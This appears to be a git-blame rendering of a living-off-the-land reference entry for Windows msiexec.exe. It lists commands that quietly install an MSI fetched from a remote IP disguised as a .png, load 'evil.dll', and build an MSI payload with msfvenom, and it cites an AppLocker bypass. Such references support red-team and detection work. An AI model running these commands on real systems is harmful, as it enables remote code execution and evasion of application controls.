2018-04-18 13:41:44 +00:00
|
|
|
## Msiexec.exe
|
|
|
|
|
|
|
|
* Functions: Execute
|
|
|
|
|
|
|
|
```
|
2018-05-04 06:19:52 +00:00
|
|
|
msiexec /quiet /i cmd.msi
|
|
|
|
|
|
|
|
msiexec /q /i http://192.168.100.3/tmp/cmd.png
|
|
|
|
|
|
|
|
msiexec /y "C:\folder\evil.dll"
|
|
|
|
|
|
|
|
msiexec /z "C:\folder\evil.dll"
|
2018-04-18 13:41:44 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
Acknowledgements:
|
2018-04-18 21:12:38 +00:00
|
|
|
* ? - @netbiosX
|
2018-05-04 06:19:52 +00:00
|
|
|
* PhilipTsukerman - @PhilipTsukerman
|
2018-04-18 21:12:38 +00:00
|
|
|
|
|
|
|
Code sample:
|
|
|
|
*
|
|
|
|
|
|
|
|
Resources:
|
|
|
|
* https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
|
2018-05-04 06:19:52 +00:00
|
|
|
* https://twitter.com/PhilipTsukerman/status/992021361106268161
|
2018-04-18 21:12:38 +00:00
|
|
|
|
|
|
|
Full path:
|
|
|
|
```
|
|
|
|
c:\windows\system32\msiexec.exe
|
|
|
|
c:\windows\sysWOW64\msiexec.exe
|
|
|
|
```
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
Generate MSI file:
|
|
|
|
```
|
|
|
|
msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|